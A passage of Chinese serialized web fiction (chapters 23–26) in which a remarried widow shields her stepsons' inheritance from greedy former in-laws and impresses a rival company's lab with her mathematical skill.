“拜托你要时刻记住这个房子不止你一个人在住了。” ‘但也不止她一个人在住啊。’ 沈介舟张了张嘴又闭上, 这件事到底是他理亏。 最后他抬眼看着她牵着小孩,站起身逐渐朝她靠近,“你和小孩这么晚回家到底还是太危险了。” “在你身边就不危险了?” 如果没记错, 沈介舟还拦住向晨的动作, 颇有教训人的意味呢。 纪悠晃悠了下牵着孩子的手, “而且小孩子,在讨厌的地方受了委屈,不想回去见到某人,想在外面多玩玩这也没什么不对吧。” 不想见到的人指的就是沈介舟啦。 所以纪悠带人把这附近能玩的娱乐都给玩了个遍。 城里能玩的东西还是太多了, 对向晨来说,更是每一样都新奇, 玩着玩着这不就过了时间。 直到纪悠觉得再玩耽误小孩睡觉,才回来的。 沈介舟闻言停顿了好大一会, 然后从桌上拿起蛋糕,“这是给向晨的歉礼。” “只给向晨一个人买的吗?” “什么?” 纪悠没有解释的打算,“没什么。” 她没继续搭理, 向晨也头撇的远远的,有模有样的学着妈妈的样子把人忽视。 最后单手拍了拍小孩的背脊,把手里精心包裹的盒子递给了他,“把零食拿回屋里去吃吧。” 沈介舟发现,原来她也给小孩买蛋糕了。 他收了收手心,然后连带着歉礼垂在身侧,他等了一会,等到人彻底进屋了。 先前是她提的,现在他倒想主动一点。 他小心地看人一眼,“抱歉,这件事我确实做错了,在教养孩子上,我确实有很多不足的地方。” 纪悠总觉得这话里有话,她直言,“有什么话就直说。” 沈介舟:“……或许我们可以不用取消互换。” 这是他想了一下午的结果,他想更多的了解向晨这孩子,并且补偿他。 他往后在处理向晨在学校里的问题的时候他会更用心点、谨慎点,经过在学校里一天的了解,他觉得他对向晨的思考还是太片面了。 如果她原先是不想管孩子在学校里的事的话,那他可以顶上。 所以对于她,或许没有多少拒绝的理由。 沈介舟这样想着,但没想到纪悠拒绝的干脆利落。 “不用了,孩子我自己会带。” 沈介舟给自己争取,“我能做的事还是有挺多的。” 纪悠没觉得有什么特殊的地方是特别需要他的。 纪悠把情况一一列举,“送着上下学的话本来带林叙白也有,至于吃的喝的,就比如小蛋糕,我也会给向晨买,如果是辅导功课,我都能给叙白辅导,那给向晨辅导更是不在话下。” 所以到底有什么特别的地方是特别需要沈介舟的。 如果说是特别的,那纪悠只能想起一个点。 她上楼梯的过程中然后回头道。 “我原本以为你可以弥补一下我家孩子缺失的父爱,结果现在看来,你和这孩子亲爸的行为并没有任何不同。” 一样的傲慢,一样的自以为是。 沈介舟愣住,缺失的父爱?这话怎么说? 但仔细想想,确实林墨在外面虽然很少提及家人,但对大儿子到底是不同的,他平日里会说大儿子如何如何,成绩好性格稳重,这种之类的事。 但二儿子,却从来没提及过。 沈介舟了解到的林向晨也都是从村子里打听到的。 而且还有纪悠,他居然又犯了同样的错误,对人有了同样的误会和片面了解。 居然认为她是因为不想管孩子学习才…… 沈介舟抓了把头发,第一次有种茫然无措,不知如何是好的慌乱感。 与此同时。 一楼房间内,林叙白没彻底合上的门也轻轻一推啪嗒一声,彻底落了锁。 他沉默良久,有太多的想法此刻挤在脑子里,让他暂时失去了思考的能力。 等隔天上学,他也没有从这种状态中解脱出来。 他坐在后排内侧,不耽误别人正常上课走动,也不耽误人上厕所。 他视力好,所以也不耽误他看黑板。 所以这个位置,简直从各种意义上的适合他。 但是一节体育课,同学们都下了楼,林叙白想了想,还是打算去找向晨,结果在班级里却没看到人。 他走的慢,但一节课也足以把小学逛了一遍,最后在电话亭找到了他。 这是学生在校难过想家的时候给家里打电话用的。 他在以前的学校里从来没想到还可以这样,但是这个学校,明显比以前的差学校要有钱太多。 他知道向晨一定是在给她打电话,这亲昵的语气从不作他想。 离得近了,他逐渐也能听清楚向晨说了些什么了。 “昨天那歉礼蛋糕,我听那个孟奶奶说了,居然也买了双份,这是什么意思啊?!” 简直太气人了。 林向晨又不是稀罕这一两块小蛋糕,就是不爽,“说不准口味和花样还让林叙白先挑呢,就像是以前爸带回家买的东西,不让林叙白挑过的东西,也不会给我。” 可恶! 他才不会要林叙白不要的东西呢。 林向晨听到那边说‘不用在意,以后有妈妈给你买。’ “确实,那妈妈可要只给我一个哈。” 他现在又被妈妈带了,妈妈连林叙白那边的表面功夫都不用做了,这简直是他近期最开心的事情了。 林向晨嘿嘿一笑,又给妈妈说了几句体己话之后就挂断了。 他也很想继续聊,但这里打电话要钱的。 从价格上来说还不便宜。 作为妈妈的贴心儿子,当然要学会替妈妈省钱啦。 他得意一笑,随即看到某人的身影笑容一顿,“你来做什么?” 林叙白走到他旁边的电话上,明白他这是被讨厌的彻底。 “……我来打电话。” 林向晨撇了撇嘴,然后把头探过去。“是给你沈叔叔打的吧,别千万记错了现在带你的人是谁,到时候打到我妈妈那里去了。” 林叙白下意识拨号的手一个个删除,然后重新按。 林向晨专门在那多待了一会,一直到电话那头确实传出的是沈介舟的声音才离开,他‘哼了一声,这还差不多。 林叙白视线直勾勾的看着林向晨蹦蹦跳跳的背影,直到电话那头传来声音。 “叙白,在学校怎么了嘛?” “没事,只是……”林叙白停顿了一下才继续道,“只是想试一下这个学校里的电话功能而已。” “没什么事就好。” 至于学校里的电话亭沈介舟还没了解过呢,但了解过对他也没有用,联系孩子那边又用不上。 不如打给学校老师,方便快捷。 只是到现在,他还不知道叙白老师的电话号码。 果然前些日子带了一两个星期的孩子,没这么容易抛却习惯啊。 沈介舟捏了捏眉心,旁边的人颜乐忍不住笑了一下,“带孩子的人好像都会露出这副头疼的表情,孩子那边没什么事吧。” 沈介舟摇了摇头。 “是你的大儿子?还是你的小儿子?” 颜乐作为合作伙伴还是知道一点消息的,他知道沈介舟和一个带孩子的单亲妈妈结了婚,一下子从无妻无子的单身王老五状态,到多出了两个孩子。 这可真是稀罕极了。 从这阵子源源不断的电话来看,带孩子这个生疏的业务可是把沈介舟累的够呛。 沈介舟看人一眼,然后解释道,“大儿子。” 只是他现在,倒是希望小儿子给他打电话,沈介舟在心里叹了口气。 “所以他们的母亲?” “这件事无可奉告。” 颜乐稀奇,“藏的这么深啊。” 到现在为止,好像还没任何人见到过他的新婚妻子来着。 也不知道到底长什么样,能把这个单身了三十年,打定了主意不婚不育的男人给拿下。 颜乐好奇的女人现在正站在门外,她敲了好几下门了,还没人来开。 于是她直接不客气的推开。 “打扰了。” 颜乐震惊于眼前女人的美貌,然后看了沈介舟一眼,“这人该不会就是你藏的这么深的新婚妻子吧。” 纪悠挑了下眉,藏得深? 不,只是她没事来找沈介舟而已。 毕竟他可是立了一条他在办公室但不能打电话的规矩啊。 沈介舟也知道她没事绝对不会找来的,“发生什么事了吗?” “你先前说林墨对你的救命之恩不会被林家人知道的。” 而现在,他们知道了。 纪悠好笑地看人表情,这种被打脸的尴尬表情真是让人百看不厌。 沈介舟确实尴尬,毕竟他原先是这么信誓旦旦,但现在去问林家人是怎么知道的已经于事无补。 “事情已经发展到哪一步了?” “他们已经来了。” 沈介舟站起身拿起外套,“他们在哪里?” 难不成是已经跑到家里去了,所以纪悠才会找来? 纪悠笑了一下,“在来都城的路上。” 不过来的路上只要花费四五个小时。 所以也快,这都要感谢小姨消息灵通,在知道这件事的第一秒钟就把电话打了过来—— 作者有话说:[菜狗][菜狗][菜狗][菜狗] 第 24 章 更新 听闻林家在路上, 沈介舟垂眸,把手腕上的手表摘掉。 明显是要去掉身上所有有钱的标志。 纪悠察觉到不对劲,“难道你是想装穷骗过林家?” 开什么玩笑, 他当初可是当着林家的面拿出来这么多钱买下了房子。 沈介舟:“哪怕欠了款,也要报答救命之恩, 这个解释合情合理。” 纪悠随便找了个位置坐下,觉得沈介舟这点也没说错。 但是她并不想这么做。 她态度松散,把桌上的表又重新给人戴上。 沈介舟还是第一次和异性有这么亲密的接触, 他一时之间居然没反应过来纪悠这么做的原因。 直到纪悠退开, 沈介舟才后退半步, 思索逐渐回笼。 “装穷是最一劳永逸的方法, 他能解决这次林家的大部分麻烦。” 永远不用担心有人上门,也不用担心这些钱时时刻刻都有人惦念着。 这个道理,纪悠不可能不懂的。 他用试探的眼神看过去, 纪悠也回看, “但是装穷让别人退避三舍就能爽快了吗?” 不能的吧。 只会让她感受到憋屈。 因为这是逃避刁蛮亲戚的无奈之举, 被林家嘲讽嫌弃,认为她过的惨兮兮,这才不是她想要的。 她想要的是羡慕嫉妒但怎么也不能拿到她手里的一分钱。 沈介舟不知道她打的什么主意,无奈劝道, “我的公司还是很注重名声的。” 纪悠抬眸,“应该没有比老板穷的付不起钱这个名声更差的了吧。” 这代表的可是公司在外的资金问题。 说下一秒公司破产都有人信, 那怎么可能还有人敢放心的和他的公司合作。 除非,纪悠看人一眼, “该不会你以前经常这么干?所以别家企业也都习惯了时不时听到一嘴这样的消息了。” 沈介舟抽了手,对纪悠时不时的试探已经适应了。 但这个话题还是让他有些不适应。 但他也没有抽烟缓解压力的习惯,他深吸口气转换了话题, “所以你想出的好主意是什么?” 纪悠撇了撇嘴,暂时没有告诉他的打算,只是说,“反正你只需要知道,绝对不会影响到你的名声这点就行了。” 沈介舟深深地看人一眼,决定暂时相信她的主意。 毕竟她这态度,就算他想装穷现在也实现不了了。 秘书这时候敲门,“沈总,外面有说是林墨的家人,他们要见您。” 纪悠倒是没想到他们来的这么快,看来这些日子村民的指指点点,让林家这阵子过的很不好啊。 沈介舟听着秘书的话,低头看了一眼纪悠,“倒是忘记问你是怎么进来的了。” 他们公司的安保实际还是不错的。 就算是纪悠的身份,也该先打电话问一下再放行才对。 “因为我带了和你的结婚证,说要给你个惊喜。” 新婚妻子来找丈夫,居然还要打电话通报,应该没有这样的事吧。 所以门卫纠结再三,最后也不敢影响夫妻关系,毕竟这结婚证明可是实打实的摆在这的。 沈介舟没想到她居然会随身带着结婚证明,至于这所谓的‘要给他个惊喜’。 “那惊喜呢?” 纪悠看了眼沈介舟,故意道,“林家这个惊喜够不够大?” 这惊喜绝对够大了啊,大到一堂堂老总也需要装穷来躲了。 —— 林家一家来都城的路上也是蛮辛苦的,没钱没车,连个能帮忙的人都没有。 等到了地方,吴连翠穿着从集市买的最好的衣服,走在路上还感觉到有人在看她。 她瞬间就爆发了,“看什么看,再看戳瞎你的眼。” 这次林家来的只有吴连翠和林全。 林阳阳年龄小,家里还需要有人照顾,林全媳妇就留着了,林国栋是腿脚不好,不方便走动,也跟着留下了。 自从上次纪悠那个臭女人说了他们俩互克的话,林国栋现在对她明显态度差了很多。 也有在刻意的避开她。 好好的夫妻关系,被纪悠弄成现在这样。 吴连翠那是又气又恼,骂人的声音更是响彻半个街道。 见状林全觉得丢人,于是赶紧把人拉到一边。 “你说你,我路上都说了你要把自己塑造成悲情母亲的角色,你这搞得,到时候让人怎么看我们。” 吴连翠支支吾吾的,她不痛快,现在家里谁都能说她,在外面,别人也对她指指点点。 好不容易出来了,还要忍受异样眼光。 她发发火怎么了? 林全劝自家娘,“等把钱要到,咱就想法子搬到别的村住。” 他也觉得,这地方不能待了,林叙白不就是摔断了腿嘛,那也是他自己想逃,该的。 他们家又不缺人吃,不缺人穿的,还不知足,这怪的了谁。 但他也明白,再不爽也没用。 现在的当务之急是要先找到那个叫沈介舟的,就是他传播的谣言,纪悠和钱也是他带走的。 现在他们也有了他的把柄,不得好好把人拿捏住。 好好从人手里挖上一笔。 林全提着行李在街上瞧着,“也不知道那跑大车的说的对不对,在这真能找到沈介舟吗?” “谁知道啊,他也就说在这附近见过人一面,像是就在这工作的。” 吴连翠抬头,她真的从来没见过这么高这么大的楼。 也不知道沈介舟在里面干什么,能赚这么多钱。 她去找了门卫,“你们这认不认识一个叫沈介舟的。” 门卫防范心确实可以,他目不斜视。 “不认识,你们找错地方了。” “不可能啊,沈介舟这名字这么特殊,应该很好找很好想啊。” 最关键的是,他人还蛮有记忆点的。 林全这时候上前,“那我们找林墨,林墨你听说过没? 我们是他的家人,两个星期没收到他的信件,两个老的在家里吃不好睡不香的,就担心他在外面出现什么意外,所以咱这边,有没有这号人物啊。” 门卫目露可怜,林总英年早逝的消息,他们还是知道的。 既然不是沈总的亲戚,那应该也不需要这么严加防范,尤其林总的亲戚,看起来还这么惨。 他不得已地告诉这家人这个消息,吴连翠顿时坐在地上悲痛不已。 “那我要见这个沈介舟!说好的兄弟之间互帮互助的,结果遇到危险了居然拿兄弟当垫背的。” 纪悠出来的时候就看见吴连翠坐在地上被人围观,嘴里还念叨‘我那可怜的孩子哦。’ 围观群众有的被煽动,嘴里都开始骂起这个背信弃义的沈介舟了。 纪悠站在门口挑了下眉,眼神里颇有看戏的意味。 她白了沈介舟一眼,如果不是沈介舟的钱关系到她家孩子的遗产,她是真的懒得管林家和沈介舟之间的这点破事。 第 25 章 更新 沈介舟拦住纪悠, “如果现在去那边的话太危险了。” 纪悠无所谓地耸耸肩。 “谁说我要去的是那,出去的路刚好在这个方向而已。” 她从来不会主动找上门的,只是一个个的会主动凑上来。 果然, 吴连翠看见她就跑过来,“各位, 这就是我那个嫁给沈介舟的儿媳妇。” 在她口中,纪悠显然成了为了钱和背信弃义兄弟在一起的恶毒渣女。 纪悠能感受到落在她身上的恶意视线变多了,她把吴连翠抖落开, “前婆婆, 你出现在这里这是干什么呢?” “干什么, 我当然是要把你做的这些没脸没皮的事都抖落出去啊。” 吴连翠接下来又指着沈介舟, “还有你,害了我儿子,杀人偿命, 你得把你的钱全都赔给我们家。” 纪悠看了吴连翠一眼, 本以为她会多忍耐一会, 没想到这么快就穷途匕现了。 “前婆婆,没想到你啃继子还不够,现在还要啃孙子吗?” 吴连翠约提这事越来气,“我什么时候啃孙子了。” 从林叙白那拿的一点钱, 不都被这几个杀千刀的一伙的给坑走了吗? 纪悠慢悠悠道,“所以你是承认你啃继子了?” 林全看自家娘是个笨的, 几句话就被人抓住把柄了,他赶紧上前, “我不知道你旧事重提是什么意思,我妈一直把林墨视为己出,他自己愿意给钱孝顺的, 这没什么问题吧。” 看在场众人眼神不对,明显察觉到了点猫腻,他又继续道,“反正这件事现在并不重要,重要的是沈介舟害死林墨,这件事得给我们家人一个交代吧。” 这个交代的意思当然指的就是给钱了,在场的人懂得都懂。 纪悠也不跟他们装了,“所以我才说你这是还想啃孙子啊。” 她单手放在沈介舟肩膀上,“这位沈先生和我结婚的主要目的,就是为了把遗产合理合法的留给林墨的两个儿子。” 替救命恩人养孩子,这种报答方式,任谁不都得说一句这人有仁有义。 他还不打算要孩子,打算把遗产都留给他们。 面对沈介舟这样的报答方式,如果吴连翠他们还有脸要,那就是和自家孙子争,和自家孙子抢。 这和他们原先在外面塑造的形象可就完全不同了啊。 “怎么?所以你们在虐待榨干继子之后,现在是要抢原本属于他儿子们的那一份吗?” 旁边的路人忍不住问了,“虐待榨干继子是怎么回事啊?” 纪悠回忆了下,“还不就是那么回事,小时候不给吃不给穿长大了却要五百块钱赡养费,好不容易摆脱了原生家庭,却没享到福就死了,遗嘱上没捞到一丝一毫,现在却跑来闹着要替死去的继子讨回公道?” 她语气里面的嘲讽意味很浓,围观的群众也理解了,“那这一大家子确实太过分了。” 哪有这样对待小孩啊,只要是养在家里的,哪怕再困难,都给给吃给穿。 林全带着吴连翠,两人被骂跑了。 纪悠叮嘱门卫,以后这两人再来,直接以闹事的名义去找警察调节。 总归是不能把人放在门口让人大肆宣扬的。 大概是为了防着吴连翠,沈介舟的视线没有从纪悠身上离开过。 此刻空气寂静一片,沈介舟逐渐回神。 他上前半步:“这就是你口中的对我的名声没有影响?” “我只是把你做的事告诉别人而已。”纪悠觉得如果说实话还有影响那就是做事的那个人的错。 她让沈介舟环顾四周,“而且哪里对名声不好了,这么多人在这不都在夸赞沈总有情有义。” 沈介舟长久未发一言,这话倒也没说错。 只是沈介舟能感受到放在他身上的八卦视线多了起来,尤其是身边这位,眼神可以说是炙热。 颜乐这瓜不白吃,在回去办公室的路上还带着一瓶上好茶叶。 沈介舟不爱喝酒,反倒爱喝茶,这是众人都知道的事,为此,颜乐还吐槽过沈介舟年纪轻轻,却一股老人味。 “弟妹是没有娘家帮衬吗?” 沈介舟现在都懒得吐槽称呼,颜乐比他大一个月,时不时的用这种称呼自居。 “她父母双亡。” 颜乐咋舌,这下岂不是和沈介舟一样了,“确实,如果有娘家帮衬也不用这么委屈了。” 沈介舟对这点倒是不反驳,“我们的关系准确的来说是各取所需。” 他能合理的养大这两个孩子,而她也需要远离村子开始新生活。 只是委屈这点,他会每月多会多给她些生活费的。 “各取所需也有点……”颜乐挠了挠头,不知道怎么说,“不过她在处理人际关系上确实比你要勇敢点。” 那倒也不在乎名声这些东西的了。 颜乐看了眼沈介舟,觉得他在亲戚方面就做不到硬怼。 沈介舟坐在办公桌上,想起在村子里见到的白如兰,“或许是因为她有一直关心照顾她的亲戚的缘故。” 这样在家,能有个给她撑腰的人。 她身上,有一种他无论如何都做不到的东西,说不清道不明。 他双手抱拳支着额头,此刻视线顿住,看到了桌上的电话,突然产生了想给她电话的想法。 因为她今天似乎是走路来的。 颜乐顺着他的视线看过去,发现是电话,“看来你大儿子不会再给你打电话了。” 沈介舟瞥他一眼,然后轻轻点头。 颜乐双手抱胸,靠在办公桌上,其实他也是才刚知道沈介舟养的原来是林墨的儿子。 符合他的个性,也符合两人的关系。 没办法,虽然当时他们是三人合伙,但比起他,他们两人压抑的不行,对家庭状况只字不提。 久而久之,他们俩也达成了一种他理解不了的默契。 关系明显比对他要好得多。 原本颜乐就困惑,但现在困惑就解决了,如果这两个孩子是林墨的孩子的话。 “这样你过多关注大儿子的理由,我也能理解了。” 他摸摸鼻子,他能说他刚知道林墨还有个小儿子嘛。 但这也没办法,林墨对小儿子只字不提,满嘴都是大儿子的事,只要是和他共处过的人都有了解。 而沈介舟既然是报恩,那照顾好林墨更重视的孩子显然更重要。 沈介舟抿唇,“我在一视同仁。” 颜乐不信,“这怎么可能?” 沈介舟皱着眉头,手指焦躁地点了点。 颜乐拍了拍他的肩膀,宽慰般的说道,“林墨这个亲爸都做不到,你这个后爸又怎么可能做到呢。” 所以啊,认清现实吧。 这么一想,那位‘弟妹’只是沈介舟抚养大儿子的桥梁,小儿子还是得自己照看,也是真不容易啊。 他觉得不容易的纪悠此刻正在陪放学的孩子。 她中途又逛了一路,过一下午才在餐馆落座,这是她随意看到的一家餐厅,因为装修够高级。 纪悠把沈介舟的副卡递过去,“随便来点辣菜,要贵的招牌的。” 林向晨兴奋,“我从来还没来过这么高级的餐馆呢。” 纪悠:“谁又来过呢。” 但是无所谓,她之后会把想逛的再通通逛一遍。 等上菜后她漫不经心地朝后座看了一眼,然后转过头关心向晨,“不喜欢吃葱就把葱挑出去。” 林向晨大口大口吃的香,“放茄子里又好吃了。” 纪悠耸耸肩,小孩的口味善变一点也正常。 只是…… 纪悠又瞧了一眼,觉得食量似乎有点问题。 她拖着腮,显然没有概念,“正常八岁半的孩子会吃这么多吗?” “我家小儿子也八岁半,其实这么大年纪的男孩胃口真不小。” 纪悠撇头看这突然来到的男人,对方西装革履,三十多岁,她以为她见到了沈介舟。 只是沈介舟不会这么冒犯。 不对,沈介舟也挺冒犯的。 她给向晨擦擦嘴,随意问道,“他在来的路上已经吃了两个炸鸡腿,三个生蚝,还有若干个炸串了,现在还吃了两碗米饭,你家的食量有这么大吗?” 来人顿时觉得,这倒没有。 “我家十岁的孩子饭量也没这么大。” 纪悠觉得这确实有点问题,但也有可能向晨就是属于胃口大的类型。 或许可以问问沈介舟有没有家庭医生,然后把电话要过来。 她嘴上继续无所谓地道,“你家有几个孩子?” “两个。” “刚巧,我家也是两个。” 许清则认为她或许好歹也会好奇一下他的身份,接过问过一句孩子的问题之后话题就停止了。 空气寂静了一会,发现纪悠真没有要继续问话的意思。 “这是我的名片。” 纪悠伸手接过,许清则?什么人?不认识。 “先前追踪我的人也是你吧,从下午一点二十分开始的。” 如果说只是说追踪的话许清则还不会这么诧异,但偏偏,她把时间说的这么精准。 许清则承认了,“抱歉。” 纪悠觉得他嘴上说着抱歉,但心里一点歉意也无,这点连沈介舟都不如。 “既然感到抱歉,那就让我也跟踪你一天吧。” 许清则感叹她还真是个不吃亏的性格,跟踪他一天的话,“我有工作。” 很多事情不方便让别人知道,更别提这个人还是他竞争公司老板的新婚妻子。 纪悠挑眉,意思是我这种没工作的,就可以随意让人跟踪了。 对付这种道德感比较低的人,这种简单的对话手段还是没有用。 她敲了敲桌面继续道,“如果不行的话我就告诉沈介舟有人跟踪他的新婚妻子了。” “沈介舟会管吗?” 据他了解到的,这对夫妻的关系可不是很好啊。 “谁知道呢。” 许清则笑眯眯地,但他知道沈介舟就是比他有道德的多,哪怕只是名义上的妻子。 他也一定会护着人。 为此也不介意来给他使几个绊子。 所以因为这次好奇,他这也算偷鸡不成蚀把米了,他点点头,“好。” 这也不怪他好奇。 谁让他想尽办法也没让沈介舟损失一点,但是眼前这人却想办法拿到了他全部的钱。 用的还是孩子这种手段,让沈介舟心甘情愿的把钱掏出来。 这可真是太厉害了,让他忍不住想鼓掌的程度。 在听说这件事的时候他就忍不住想见见人了,谁知道被人看出来,还被威胁要跟踪他。 他一个大男人有啥好跟踪的,尤其还在工作中。 他不理解。 纪悠拿着名片,上面有电话号码,好像是他故意的样子,上面还是他的私人号码。 公司是…卖汽车的,这可真是太专业对口了,这也是纪悠要和沈介舟结婚的另一个原因。 和有钱人接触就是要方便的多。 纪悠笑了笑,和人定下了明天见面的时间—— 作者有话说:上夹子前更新不定,写完就发 第 26 章 更新 许清则对着后视镜整理一下发型, 三十二岁的年纪,在上班的过程中他勤于锻炼,身材也不差。 这居然都不能让人在他身上多注意一点吗? 当然, 他说的就是昨天的那位女士。 但是今天,她会注意自己一天, 时间从今早九点开始。 他到了公司,发现时间是九点半。 比约定的时间晚了半个小时。 “有人今早说要来找我吗?” “没有。” 许清则挑眉,居然比他还要晚, 看来这位纪悠小姐也是个不准时的人啊。 他叮嘱门卫, “如果有位女士来说跟踪我的, 不用拦, 直接给她放行。” 门卫:“???” 听不懂但照做。 毕竟他们拿了钱的,工资也实在不低。 门卫试探性的问道,“但是这位女士有什么具体特征吗?”他们也好给人放行。 许清则后悔昨天没带他专门用来摄影的相机, 这样拍出来人还清晰好认。 但是用口头叙述或许也可以很贴切, “她, 很貌美。” 惹人注意的那种美,眉眼上挑,带有攻击性。 她的儿子,和她拥有同一种眼型, 但因为年纪小和单纯,缺少了那种感觉。 虽然很想站在这等着人来, 但这样又显得他太重视了,也不太好。 真是难办。 他苦恼地顿在门口, 门卫则是把注意力投到他身后,“许总,你说的是不是就是这位小姐?” 许清则转过身, 发现真是她,这倒和他原先的打算相违背了。 他笑了笑,决定先发制人。 “你好像迟到了?” “你怎么知道我是从几点跟踪你的,毕竟你的防范性这么差。” 许清则迟疑,他的防范性很差吗?倒是第一次听到这样对他的形容。 在听完这句话他的第一反应是不信,但昨天她说的时间点这么准确,让他也不知道该不该信她了。 或许她真是个追踪和反追踪的高手? 他选择忽视原先的对话,“反正这样就正好,直接让我带你进去好了。” 纪悠点了点头示意带路。 其实她本来九点也没跟踪他,谁会无聊到准点来跟踪一个人啊。 她明目张胆的进去,明目张胆的在背后跟踪人。 许清则都忍不住看了看身侧,有她这么跟踪人的吗? 纪悠从他眼里读出了这个意味,“毕竟你都已经知道了,那我又干嘛要委屈自己。” 神经病吗? 她单手插兜,跟人逛了大半圈,有点懒得装下去了,“你平日里当老板的生活这么无聊吗?你的新能源实验室在哪?” 在打算认识纪悠的第一天许清则就拿到了对方的生平。 虽然很普通,但他认为她以后不会普通。 虽然这种感觉很莫名其妙,但就是打心眼里相信,或许这是属于他商人的嗅觉也说不定。 他收敛了一点轻佻的笑意,“如果你想从事这方面的事业的话,我可以投资你的。” 多少钱都可,前提是她做出的东西必须要冠名于他的公司,这是投资,如果纪悠没有搞出大名堂,那他就当作投资失败。 这本来也就没什么,这点小钱,他还损失的起。 纪悠瞥开眼,“我不打算学。” “那你想看实验室是做什么的?” 纪悠没有第一时间回答,而是看着许清则的眼睛询问,“不可以看吗?” 许清则迟疑了下,但这确实也不是不行,他感到有些好笑,好笑当然不是纪悠提的这个问题本身。 而是纪悠是沈介舟的新婚妻子,现在却想跑到他的实验室想看汽车。 沈介舟明明是和他的竞争对手的企业。 也就是和他同一类型的公司。 “看来你对沈介舟一点了解都没有,就这样就结婚了?” 纪悠不想对沈介舟有了解,“就像是我不知道他是做什么的一样,那他也别想知道我在做什么,这就可以了。” 简而言之,很公平。 这也是她找到许清则,而不是沈介舟的原因。 完全不想主动越过中间的那一条界。 纪悠看许清则没有给明确答复,忍不住问,“不想让我去看是怕我窃取你的商业机密?” 许清则:“那倒不是。” 如果他的公司真的让一个女人看了一眼就窃取了的话,那他的公司防卫也做的太差了点。 只是说到底,纪悠和她说的完全不同,还是想从事这方面的研究啊。 那为什么不愿意接受他的资助? 总不可能是根本就会吧。 许清则被自己的想法逗笑,“既然你说要跟踪我才来的,那你现在作为跟踪者,总不能让我跟着你的行程走吧。” “所以呢?” “所以,我会让我的秘书带你去的。” “随便。” 纪悠并不在乎带她的人是谁,不如说这个实验室才是她这场跟踪最终想去的地方。 还得让众人知道是许清则带她去的。 这个世界无论在哪,都是从上到下,比下到上要容易的。 她以前在末世也是,从来都只会想办法吸引掌权者的注意。 此刻的实验室正在开会,纪悠落了座,因为许清则的专属秘书在身边,倒没人会问她是谁,但会质疑许清则的决定。 “许总这是在干嘛?我们现在开的会怎么会允许别人旁听。” 纪悠刚开始说的话还算谦逊,“是许总让我过来学习的。” “你什么学历?” 纪悠仔细回忆了下,“初中,因为我高中就辍学了。” 研究员更觉得许总是疯了,“我长这么大,还没见过初中就来学这个的,也没看见过一个女的来学这个的。” 纪悠听不得这种话,她感到头疼,语气也变得尖锐,“那到底还是你资历不够深了,混不到更高级的层次里去。” 只有水平不够的人才会搞歧视,认为自己天下第一厉害,这也是纪悠以前从底层爬起来的时候最讨厌遇到的那一类人。 他们惯会习惯在他人面前找自信,寻找优越感。 纪悠拿起粉笔,刚刚是在进行讲座一样的东西,上面的题目就是他们这次要破解的难题。 而这种东西居然需要这么多人?如果没记错这是最基础的题目。 纪悠环视一周,然后拿着粉笔在黑板上写下计算过程。 “只要方法用对了,计算起来其实很简单。” 纪悠已经算了一半了,但她没有继续算下去。 她嘴角勾起一抹笑,然后把粉笔交给了研究员。 “这是这道题里面最简单的部分,或许可以交给年龄更大,资历更深,又是男性的这个老研究员来计算。” 研究员:“……” 这他哪会啊。 就连刚刚纪悠一连串的操作他都没看明白。 “没准你是瞎算呢,瞎算的话这问题谁能解决的了。” 纪悠嗤笑,“原本只是质疑你的水平,现在却发现你根本没有水平。” 研究员气的要死,“你这个牙尖嘴利的小丫头,只会说不会做吗?有本事就把最后结果算出来看看可不可行。” 底下的一位年轻人举起手,“……我算出来了。” 纪悠转过身,她对不同人的态度从来就转变的很快。 她看了那人一眼,然后笑着伸手。 “给我看一眼。” —— 许清则坐在办公椅上,不知道为什么,总是安心不下来。 他还是很迷信的,这样的话是意味着他要破财还是来财?又或者是两者参半? 直觉告诉他和实验室里面的纪悠有关。 或许他该去看一眼?他揉揉心口,有点后悔。 办公室电话响起,许清则顿了一下才接过。 “有什么事吗?” “实验室这边出大事了,你快来一趟吧,许总。” “我马上就到。” 原本不想接的,但没想到电话里就是他最担心的实验室的情况。 也真是凑巧了。 实验室距离他的办公室中间隔了一个操场的距离,他的公司本来就大,和沈介舟白手起家不同,他家家境优渥,出国的父母永远都会给他提供最坚固的金钱支持。 这也是为什么他在一直赢不了沈介舟,依旧还能在都城屹立不倒。 在许清则推开门之前,秘书已经在门口告诉了他事情的经过。 他看向纪悠的眼神亮亮的,全然没有自家研究员被打脸的气愤,只有发现宝藏的兴奋。 “你是怎么做到的?” 相比于许清则,纪悠则要淡定的多,“看了几本外国文献。” 许清则咽了下口水,“你只是看了一点文献就能做到这种地步?” 这意味着什么?这意味着他或许遇到了个天才。 “或许你有没有考虑过和沈介舟离婚?” 既然已经和沈介舟结过婚,那孩子已经可以在沈介舟名下了,那这名存实亡的婚姻应该也没有继续存在的必要了吧。 纪悠瞧他一眼,“问这个做什么?” “和他离婚之后,或许可以考虑下我。” 纪悠在来之前,也是稍微了解了一下这个许清则,“如果我听到的不是假消息的话,这意味着你的新婚妻子陆禾婉才过世不到三个月。” 三个月才不到?就想着另娶新欢。 纪悠不应承地笑笑,和他比起来,沈介舟还是要靠谱一点的。 许清则:“……” 如果他了解的不错,这位纪悠小姐的丈夫过世大约一个星期就和沈介舟再婚了。 虽然想问她是怎么可以义正言辞的说他的? 但有求于人的时候,态度还是要摆的端正些的。 “这次的实验,或许有什么地方是我能帮助到你的吗?” 纪悠就等着他这句话呢,她也不客气。 “我要拥有一个独属于我的实验室。” 更重要的是拥有这个实验室的所有自主权,最后就算是挑员工,以后也要她亲自来。 许清则在这种事上从来很痛快。 “这当然没问题。” 说完之后,接着他又看了一眼气得要死的研究员,“其实我也担心你和其他人的共处问题。” 纪悠站起身,单手搓了搓粉笔上的灰,“我不喜欢被贬低到低处,再崛起惊艳众人,我喜欢的是对方只是刚伸出手,我的巴掌就已经落到他的脸上。” 对待这种人,本来就该这样。 没什么可说的。 —— 学校里。 林叙白被特殊叮嘱过,从不参与任何体育活动。 在这种时候,他一般是坐在教室,或者是站起身到处走走。 所以此刻,教室里就他一个人。 突然走进来个陌生人,长相不是他班同学,也不是学校里的卫生检查员。 对方的目的很明确,直冲冲地朝他走来。 “同学,你有什么事吗?” 对方轻笑,“我讨厌记人名字,或许我可以叫你五年级的年级第一?” 林叙白对这个称呼不认可,“这个学期还没期末考试呢。” “迟早的事。” 他对结果很笃定,因为他听说了,今年的五年级转学进来一个神童。 那只要参与期末考试了,他必然就是年级第一。 原来他们拿的该是‘王不见王’剧本,但是突然发生的事,让他不得不找一趟林叙白。 他叹了口气,想了想这件事该从哪里说起。 但在此之前,他觉得还是需要先做一遍自我介绍,“我叫许言疏,是六年级的年级第一。” 